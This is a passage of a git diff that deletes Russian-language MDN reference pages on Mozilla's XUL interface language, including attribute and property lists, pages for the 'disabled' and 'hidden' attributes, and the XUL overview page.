-<code id="a-maxwidth"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/maxwidth">maxwidth</a></code>,
-<code id="a-menu"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/menu">menu</a></code>,
-<code id="a-minheight"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/minheight">minheight</a></code>,
-<code id="a-minwidth"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/minwidth">minwidth</a></code>,
-<code id="a-mousethrough"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/mousethrough">mousethrough</a></code>,
-<code id="a-observes"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/observes">observes</a></code>,
-<code id="a-ordinal"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/ordinal">ordinal</a></code>,
-<code id="a-orient"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/orient">orient</a></code>,
-<code id="a-pack"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/pack">pack</a></code>,
-<code id="a-persist"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/persist">persist</a></code>,
-<code id="a-popup"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/popup">popup</a></code>,
-<code id="a-position"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/position">position</a></code>,
-<code id="a-preference-editable"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/preference-editable">preference-editable</a></code>,
-<code id="a-querytype"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/querytype">querytype</a></code>,
-<code id="a-ref"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/ref">ref</a></code>,
-<code id="a-removeelement"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/removeelement">removeelement</a></code>,
-<code id="a-sortDirection"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/sortDirection">sortDirection</a></code>,
-<code id="a-sortResource"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/sortResource">sortResource</a></code>,
-<code id="a-sortResource2"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/sortResource2">sortResource2</a></code>,
-<code id="a-statustext"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/statustext">statustext</a></code>,
-<code id="a-style"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/style">style</a></code>,
-<code id="a-template"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/template">template</a></code>,
-<code id="a-tooltip"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/tooltip">tooltip</a></code>,
-<code id="a-tooltiptext"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/tooltiptext">tooltiptext</a></code>,
-<code id="a-top"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/top">top</a></code>,
-<code id="a-uri"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/uri">uri</a></code>,
-<code id="a-wait-cursor"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/wait-cursor">wait-cursor</a></code>,
-<code id="a-width"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/width">width</a></code> </small></p>
-</td>
-</tr>
-</tbody>
-</table><p></p>
-
-<h3 id=".D0.A1.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2.D0.B0" name=".D0.A1.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2.D0.B0">Свойства</h3>
-
-<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Наследуемые свойства</strong><br> <small> <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/width">width</a></span></code></small></p> </td> </tr> </tbody>
-</table><p></p>
-
-<h3 id=".D0.9C.D0.B5.D1.82.D0.BE.D0.B4.D1.8B" name=".D0.9C.D0.B5.D1.82.D0.BE.D0.B4.D1.8B">Методы</h3>
-
-<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Inherited Methods</strong><br> <small><code><a href="https://developer.mozilla.org/ru/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.appendChild">appendChild()</a></code>, <span id="m-blur"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/click">click</a></code></span>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.cloneNode">cloneNode()</a></code>, <a class="internal" href="/ru/DOM/Node.compareDocumentPosition" title="En/DOM/Node.compareDocumentPosition">compareDocumentPosition</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/focus">focus</a></code></span>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getBoundingClientRect">getBoundingClientRect()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getClientRects">getClientRects()</a></code>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/getElementsByAttribute">getElementsByAttribute</a></code></span>, <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Методы/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getElementsByClassName">getElementsByClassName()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <a class="internal" href="/ru/DOM/Node.getFeature" title="En/DOM/Node.getFeature">getFeature</a>, <a class="internal" href="/ru/DOM/Node.getUserData" title="En/DOM/Node.getUserData">getUserData</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.isDefaultNamespace">isDefaultNamespace()</a></code>, <a class="internal" href="/ru/DOM/Node.isEqualNode" title="En/DOM/Node.isEqualNode">isEqualNode</a>, <a class="internal" href="/ru/DOM/Node.isSameNode" title="En/DOM/Node.isSameNode">isSameNode</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.isSupported">isSupported()</a></code>, <a class="internal" href="/ru/DOM/Node.lookupNamespaceURI" title="En/DOM/Node.lookupNamespaceURI">lookupNamespaceURI</a>, <a class="internal" href="/ru/DOM/Node.lookupPrefix" title="En/DOM/Node.lookupPrefix">lookupPrefix</a>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.querySelector">querySelector()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.querySelectorAll">querySelectorAll()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/ru/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code>, <a class="internal" href="/ru/DOM/Node.setUserData" title="En/DOM/Node.setUserData">setUserData</a></small></p> </td> </tr> </tbody>
-</table><p></p>
-
-<h3 id=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5" name=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5">См. также</h3>
-
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/attribute/disabled/index.html b/files/ru/mozilla/tech/xul/attribute/disabled/index.html
deleted file mode 100644
index aa8ff7ebb9..0000000000
--- a/files/ru/mozilla/tech/xul/attribute/disabled/index.html
+++ /dev/null
@@ -1,38 +0,0 @@
----
-title: disabled
-slug: Mozilla/Tech/XUL/Attribute/disabled
-tags:
- - XUL Attributes
- - XUL Reference
-translation_of: Archive/Mozilla/XUL/Attribute/disabled
----
-<div class="noinclude">
- <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ru/docs/XUL/Справочник">Справочник по XUL</a></span></div>
-<dl>
- <dt>
- <code id="a-disabled"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/disabled">disabled</a></code></dt>
- <dd>
- Тип: <em>булево</em></dd>
- <dd>
-  Указывает, отключен ли элемент или нет. В случае, если элемент имеет значение <code>true</code>, он отключается. Отключенные элементы имеют, как правило, так называемый "затенённый" цветовой эффект. Если элемент отключен, он не будет отвечать на какие-либо действия пользователя, он не может быть выбран, и событие <code>command</code> в этом случае не вызывается.
- <div class="noinclude">
- <br>
- Тем не менее, элемент всё ещё будет отвечать событиям, связанным с мышью (т.е. реагировать на <code>mouse events</code>). Для активации элемента, присвойте атрибуту значение <code>false</code>.</div>
- </dd>
- <dd>
- Графические элементы управления имеют свойство <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/disabled">disabled</a></span></code>, которое (кроме меню и их элементов) принято использовать в качестве атрибута на случай, если понадобится расширить функционал: добавить/изменить режим работы элемента, задействовать/отключить элемент и так далее.</dd>
-</dl>
-<div class="noinclude">
- <img alt="Image:XUL_ref_attr_disabled.png" class="internal" src="/@api/deki/files/1807/=XUL_ref_attr_disabled.png">
- <pre class="brush: js">// Отключение элемента
-document.getElementById('buttonRemove').setAttribute("disabled", "true");
-
-// Задействование элемента путём снятия атрибута "disabled"
-document.getElementById('buttonRemove').removeAttribute("disabled");
-</pre>
- <p></p><div class="blockIndicator standardNote">
- <p><a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/3.5">Замечание по Firefox 3.5</a></p>
- <p style="font-weight: 400;">Поддержка данного атрибута была добавлена в Firefox 3.5 для элементов <a class="internal" href="/en-US/docs/XUL/keyset" title="en/XUL/Keyset"><code>keyset</code></a>.</p>
-</div><p></p>
-</div>
-<p> </p>
diff --git a/files/ru/mozilla/tech/xul/attribute/hidden/index.html b/files/ru/mozilla/tech/xul/attribute/hidden/index.html
deleted file mode 100644
index f3a704e075..0000000000
--- a/files/ru/mozilla/tech/xul/attribute/hidden/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: hidden
-slug: Mozilla/Tech/XUL/Attribute/hidden
-tags:
- - XUL Attributes
- - XUL Reference
-translation_of: Archive/Mozilla/XUL/Attribute/hidden
----
-<div class="noinclude">
- <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/ru/docs/XUL/Справочник">Справочник по XUL</a></span></div>
-<dl>
- <dt>
- <code id="a-hidden"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/hidden">hidden</a></code></dt>
- <dd>
- Тип: <em>булево</em></dd>
- <dd>
- В случае, если значение установлено как <code>true</code>, элемент не отображается. Аналогом является установка в CSS свойства отображения '<code>none</code>'.</dd>
-</dl>
-<div class="noinclude">
- <h2 id="Смотрите_также">Смотрите также</h2>
- <ul>
- <li><a class="internal" href="/en/XUL/Attribute/collapsed" title="en/XUL/Attribute/collapsed">collapsed</a></li>
- </ul>
- <p></p>
-</div>
-<p> </p>
diff --git a/files/ru/mozilla/tech/xul/attribute/index.html b/files/ru/mozilla/tech/xul/attribute/index.html
deleted file mode 100644
index ef0984c948..0000000000
--- a/files/ru/mozilla/tech/xul/attribute/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: Attribute
-slug: Mozilla/Tech/XUL/Attribute
----
-<p> </p>
-
-<p>This page was auto-generated because a user created a sub-page to this page.</p>
-
-<p> </p>
diff --git a/files/ru/mozilla/tech/xul/index.html b/files/ru/mozilla/tech/xul/index.html
deleted file mode 100644
index 326dbea5cf..0000000000
--- a/files/ru/mozilla/tech/xul/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: XUL
-slug: Mozilla/Tech/XUL
-tags:
- - XUL
-translation_of: Archive/Mozilla/XUL
----
-<p> </p>
-
-<div class="callout-box"><strong><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL" title="ru/Руководство_по_XUL">Руководство по XUL</a></strong><br>
-Подробное руководство, которое поможет вам легко начать работать с XUL. Первоначально было опубликовано на XULPlanet.</div>
-
-<div><strong>XUL</strong> (XML User Interface Language) — это основанный на <a href="/ru/XML" title="ru/XML">XML</a> язык разметки, используемый в приложениях Mozilla. XUL позволяет создавать кроссплатформенные приложения с интерфейсами любой сложности, как использующие интернет, так и работающие локально. В приложениях легко изменить графику, всплывающие подсказки и расположение элементов так, чтобы их интерфейс отвечал требованиям бренда или был переведен на любой язык. Веб-разработчики, уже хорошо знакомые с Dynamic HTML (<a href="/ru/DHTML" title="ru/DHTML">DHTML</a>), легко изучат XUL и так же легко смогут создавать приложения с его помощью. Чтобы посмотреть примеры интерфейсов на XUL, откройте страницу <a class="external" href="http://www.hevanet.com/acorbin/xul/top.xul">XUL Periodic Table</a> в браузере Firefox или любом другом браузере на движке <a href="/ru/Gecko" title="ru/Gecko">Gecko</a>.</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h4 id=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.94.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0.D1.86.D0.B8.D1.8F"><a href="/Special:Tags?tag=XUL&amp;language=ru" title="Special:Tags?tag=XUL&amp;language=ru">Документация</a></h4>
-
- <dl>
- <dt><a href="/ru/XUL/%D0%A1%D0%BF%D1%80%D0%B0%D0%B2%D0%BE%D1%87%D0%BD%D0%B8%D0%BA" title="ru/XUL/Справочник">Справочник по XUL</a></dt>
- <dd><small>См. также: докуметация MDC на <a href="/ru/Preferences_System" title="ru/Preferences_System">prefwindow</a>.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/en-US/docs/The_Joy_of_XUL" title="en-US/docs/The_Joy_of_XUL">Радости XUL</a></dt>
- <dd><small>Здесь перечисленны основные возможности компонентов XUL.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/%D0%A1%D0%BE%D0%B2%D0%BC%D0%B5%D1%81%D1%82%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9_%D1%81_Firefox_1.5" title="ru/Совместимость_приложений_с_Firefox_1.5">Совместимость приложений с Firefox 1.5</a></dt>
- <dd><small>Список изменений в <a href="/ru/Firefox_1.5" title="ru/Firefox_1.5">Firefox 1.5</a>, важных для разработчиков на XUL.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/XUL/%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D1%8B" title="ru/XUL/Шаблоны">Руководство по шаблонам в XUL</a></dt>
- <dd><small>Детальное руководство, рассказывающее о шаблонах, которые генерируют содержимое документа XUL на основе динамических источников данных.</small></dd>
- </dl>
-
- <dl>
- <dt><a href="/ru/XUL/%D0%9E%D0%B2%D0%B5%D1%80%D0%BB%D0%B5%D0%B8" title="ru/XUL/Оверлеи">Оверлеи</a></dt>
- <dd><small>Статья про оверлеи. Оверлеи используются для добавления элементов в уже существующие интерфейсы. Оверлеи — это очень удобный механизм для функционального или частичного расширения основанных на XUL приложений.</small></dd>
- </dl>
-
- <p><span class="alllinks"><a href="/Special:Tags?tag=XUL&amp;language=ru" title="Special:Tags?tag=XUL&amp;language=ru">Все ссылки…</a></span></p>
- </td>
- <td>
- <h4 id=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE" name=".D0.A1.D0.BE.D0.BE.D0.B1.D1.89.D0.B5.D1.81.D1.82.D0.B2.D0.BE">Сообщество</h4>
-
- <ul>
- <li>Форумы Mozilla…</li>
- </ul>
-
- <p></p><ul>
- <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xul"> Почтовая рассылка</a></li>
-
-
- <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul"> newsgroup</a></li>
- <li><a href="http://groups.google.com/group/mozilla.dev.tech.xul/feeds"> Новостная лента</a></li>
-</ul><p></p>
-
- <ul>
- <li><a class="link-irc" href="irc://irc.mozilla.org/xul">#xul на irc.mozilla.org</a></li>
- </ul>
-
- <h4 id=".D0.A3.D1.82.D0.B8.D0.BB.D0.B8.D1.82.D1.8B" name=".D0.A3.D1.82.D0.B8.D0.BB.D0.B8.D1.82.D1.8B">Утилиты</h4>
-
- <ul>
- <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Расширение для разработчиков других расширений</a> (в том числе Live XUL Editor)</li>
- <li><a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=751">XULRef сайдбар</a></li>
- <li><a href="/ru/%D0%98%D0%BD%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%BE%D1%80_DOM" title="ru/Инспектор_DOM">Инспектор DOM</a></li>
- </ul>
-
- <p><span class="alllinks"><a href="/Special:Tags?tag=XUL:%D0%A3%D1%82%D0%B8%D0%BB%D0%B8%D1%82%D1%8B&amp;language=ru" title="Special:Tags?tag=XUL:Утилиты&amp;language=ru">Все ссылки…</a></span></p>
-
- <h4 id=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5" name=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5">См. также</h4>
-
- <dl>
- <dd><a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a>, <a href="/ru/XBL" title="ru/XBL">XBL</a>, <a href="/ru/CSS" title="ru/CSS">CSS</a>, <a href="/ru/RDF" title="ru/RDF">RDF</a>, <a href="/ru/%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D1%8F" title="ru/Расширения">Расширения</a>, <a href="/ru/XULRunner" title="ru/XULRunner">XULRunner</a></dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><span class="comment">Категории</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p> </p>
-
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/property/dateleadingzero/index.html b/files/ru/mozilla/tech/xul/property/dateleadingzero/index.html
deleted file mode 100644
index ea5b2dd298..0000000000
--- a/files/ru/mozilla/tech/xul/property/dateleadingzero/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: dateLeadingZero
-slug: Mozilla/Tech/XUL/Property/dateLeadingZero
-translation_of: Archive/Mozilla/XUL/Property/dateLeadingZero
----
-<div class="noinclude">
- <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/ru/docs/XUL/Справочник" title="XUL/Справочник">XUL Справочник</a></span></div>
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/dateLeadingZero">dateLeadingZero</a></span></code></dt>
- <dd>
- Type: <em>булево</em></dd>
- <dd>
- Значение, имеющее атрибут "только чтение", и указывающее, надо ли отображать ноль перед числом дня даты в случае, если число меньше 10.</dd>
-</dl>
diff --git a/files/ru/mozilla/tech/xul/property/datepicker.value/index.html b/files/ru/mozilla/tech/xul/property/datepicker.value/index.html
deleted file mode 100644
index 9585adae32..0000000000
--- a/files/ru/mozilla/tech/xul/property/datepicker.value/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: datepicker.value
-slug: Mozilla/Tech/XUL/Property/datepicker.value
-translation_of: Archive/Mozilla/XUL/Property/datepicker.value
----
-<div class="noinclude">
- <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/ru/docs/XUL/Справочник" title="XUL/Справочник">XUL Справочник</a></span></div>
-<dl>
- <dt>
- <code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/datepicker.value">value</a></span></code></dt>
- <dd>
- Type: <em>строка</em></dd>
- <dd>
- Служит для отображения выбранной даты в формате <em><var>ГГГГ-ММ-ДД</var></em>. В отличие от свойства <code><code><span><a href="https://developer.mozilla.org/ru/docs/XUL/Property/month">month</a></span></code></code>, в этом значении месяцы ранжируются от 01 до 12. Используйте это свойство для установки нужной даты.</dd>
-</dl>
diff --git a/files/ru/mozilla/tech/xul/property/index.html b/files/ru/mozilla/tech/xul/property/index.html
deleted file mode 100644
index e6a3fd7eae..0000000000
--- a/files/ru/mozilla/tech/xul/property/index.html
+++ /dev/null
@@ -1,295 +0,0 @@
----
-title: Property
-slug: Mozilla/Tech/XUL/Property
-tags:
- - NeedsTranslation
- - TopicStub
- - XUL Properties
- - XUL Reference
-translation_of: Archive/Mozilla/XUL/Property
----
-<p><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/ru/docs/XUL/Справочник" title="XUL/Справочник">XUL Справочник</a></span></p>
-<ul>
- <li><a href="/en/XUL/Property/accessible" title="en/XUL/Property/accessible">accessible</a></li>
- <li><a href="/en/XUL/Property/accessibleType" title="en/XUL/Property/accessibleType">accessibleType</a></li>
- <li><a href="/en/XUL/Property/accessKey" title="en/XUL/Property/accessKey">accessKey</a></li>
- <li><a href="/en/XUL/Property/align" title="en/XUL/Property/align">align</a></li>
- <li><a href="/en/XUL/Property/allNotifications" title="en/XUL/Property/allNotifications">allNotifications</a></li>
- <li><a href="/en/XUL/Property/allowEvents" title="en/XUL/Property/allowEvents">allowEvents</a></li>
- <li><a href="/en/XUL/Property/alwaysOpenPopup" title="en/XUL/Property/alwaysOpenPopup">alwaysOpenPopup</a></li>
- <li><a href="/en/XUL/Property/amIndicator" title="en/XUL/Property/amIndicator">amIndicator</a></li>
- <li><a href="/en/XUL/Property/appLocale" title="en/XUL/Property/appLocale">appLocale</a></li>
- <li><a href="/en/XUL/Property/autoCheck" title="en/XUL/Property/autoCheck">autoCheck</a></li>
- <li><a href="/en/XUL/Property/autoFill" title="en/XUL/Property/autoFill">autoFill</a></li>
- <li><a href="/en/XUL/Property/autoFillAfterMatch" title="en/XUL/Property/autoFillAfterMatch">autoFillAfterMatch</a></li>
- <li><a href="/en/XUL/Property/boxObject" title="en/XUL/Property/boxObject">boxObject</a></li>
- <li><a href="/en/XUL/Property/browsers" title="en/XUL/Property/browsers">browsers</a></li>
- <li><a href="/en/XUL/Property/builder" title="en/XUL/Property/builder">builder</a></li>
- <li><a href="/en/XUL/Property/builderView" title="en/XUL/Property/builderView">builderView</a></li>
- <li><a href="/en/XUL/Property/buttons" title="en/XUL/Property/buttons">buttons</a></li>
- <li><a href="/en/XUL/Property/canAdvance" title="en/XUL/Property/canAdvance">canAdvance</a></li>
- <li><a href="/en/XUL/Property/canGoBack" title="en/XUL/Property/canGoBack">canGoBack</a></li>
- <li><a href="/en/XUL/Property/canGoForward" title="en/XUL/Property/canGoForward">canGoForward</a></li>
- <li><a href="/en/XUL/Property/canRewind" title="en/XUL/Property/canRewind">canRewind</a></li>
- <li><a href="/en/XUL/Property/checked" title="en/XUL/Property/checked">checked</a></li>
- <li><a href="/en/XUL/Property/checkState" title="en/XUL/Property/checkState">checkState</a></li>
- <li><a href="/en/XUL/Property/child" title="en/XUL/Property/child">child</a></li>
- <li><a href="/en/XUL/Property/children" title="en/XUL/Property/children">children</a></li>
- <li><a href="/en/XUL/Property/className" title="en/XUL/Property/className">className</a></li>
- <li><a href="/en/XUL/Property/clickSelectsAll" title="en/XUL/Property/clickSelectsAll">clickSelectsAll</a></li>
- <li><a class="internal" href="/en/XUL/Property/clientHeight" title="en/XUL/Property/clientHeight">clientHeight</a> </li>
- <li><a class="internal" href="/en/XUL/Property/clientWidth" title="en/XUL/Property/clientWidth">clientWidth</a> </li>
- <li><a href="/en/XUL/Property/collapsed" title="en/XUL/Property/collapsed">collapsed</a></li>
